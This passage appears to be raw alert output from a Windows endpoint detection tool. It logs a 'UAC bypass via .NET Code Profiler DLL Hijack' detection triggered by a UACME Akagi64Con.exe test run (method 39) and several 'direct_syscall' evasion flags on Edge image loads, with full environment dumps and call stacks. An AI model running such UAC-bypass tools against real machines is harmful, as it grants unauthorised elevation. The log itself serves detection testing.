Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:fa8e9e05-6b13-4530-bd6b-7db690e0961f WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 5365684 + Pid: 6680 + Tid: 4380 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-03 14:39:43.0440569 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 37ec34000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffbb8a5972e080, name➜ cmd.exe, pid➜ 17224, ppid➜ 6680, real_ppid➜ 6680, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-03 14:39:43.043982 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 14695981039346656037, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 6680 + Ppid: 1720 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-03T15:18:14+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 13493666 + Pid: 3940 + Tid: 5852 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-03 15:18:12.4275172 +0100 CET + Params: base_address➜ 7ffea65b0000, checksum➜ 678716, default_address➜ 7ffea65b0000, file_path➜ C:\Windows\System32\Windows.Web.dll, image_size➜ 638976, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 3940, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 3940 + Ppid: 3812 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:3940 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_3940_XKKPXYPGYJXTBUNF EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1143 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"rysjBHlWx3BpFO49OfDke0AR9M7VE/f0VaIPL2c9flA=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"KUYlBkf/AKTkyBOiqSvSy+aWIxYmf3hHNS8ItU7x8L0=" EFC_8580_1262719628:1 EFC_8580_1592913036:1 EFC_8580_2283032206:1 EFC_8580_2775293581:1 EFC_8580_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80799542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80799474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80799548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80799a72258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80799a71ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff80799a690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff80799a621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff80799a6179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff807998b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffe8a171014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffe89f83640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffe89f83a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffeca8653db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffeca864e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffeca8684cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffeca86701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffeca8d4294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffeca8763a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffeca876020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffeca89fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffec7c6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffec9a67a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffec9a6759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffec9a844fe C:\Windows\System32\combase.dll!WindowsDeleteString|0x7ffec9bed25a C:\Windows\System32\combase.dll!Ordinal225|0x7ffec9a3923c C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffec9a38af7 C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffec9a3966a C:\Windows\System32\combase.dll!CLSIDFromProgID|0x7ffec9a3a6c9 C:\Windows\System32\combase.dll!RoActivateInstance|0x7ffea525d940 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea525bb3c C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea525a59c C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea5267afe C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffe6713a538 C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffe6713a332 C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffe6713703b C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffe67144184 C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffe6714325c C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffe67122e1c C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffe6704a0f3 C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffe6706ce3e C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffe670ff0a7 C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffe671011e4 C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffe67188a76 C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffe672c453f C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffeca3de8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffeca8ec53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-03T15:18:14+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 13493712 + Pid: 3940 + Tid: 9248 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-03 15:18:12.4312469 +0100 CET + Params: base_address➜ 7ffec16e0000, checksum➜ 144589, default_address➜ 7ffec16e0000, file_path➜ C:\Windows\System32\usermgrcli.dll, image_size➜ 94208, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 3940, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 3940 + Ppid: 3812 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:3940 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_3940_XKKPXYPGYJXTBUNF EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1143 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"rysjBHlWx3BpFO49OfDke0AR9M7VE/f0VaIPL2c9flA=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"KUYlBkf/AKTkyBOiqSvSy+aWIxYmf3hHNS8ItU7x8L0=" EFC_8580_1262719628:1 EFC_8580_1592913036:1 EFC_8580_2283032206:1 EFC_8580_2775293581:1 EFC_8580_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80799542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80799474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80799548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80799a72258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80799a71ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff80799a690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff80799a621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff80799a6179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff807998b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffe8a171014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffe89f83640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffe89f83a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffeca8653db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffeca864e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffeca8684cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffeca86701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffeca8d4294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffeca8763a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffeca876996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffeca8ad7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffeca8ab94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffea5294282 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!DllCanUnloadNow|0x7ffea52acdfd C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!DllCanUnloadNow|0x7ffea5236f70 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea5267565 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea5267cfb C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffe6713a538 C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffe6713a332 C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffe6713703b C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffe67144184 C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffe6714325c C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffe67122e1c C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffe6704a0f3 C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffe6706ce3e C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffe670ff0a7 C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffe671011e4 C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffe67188a76 C:\Program Files 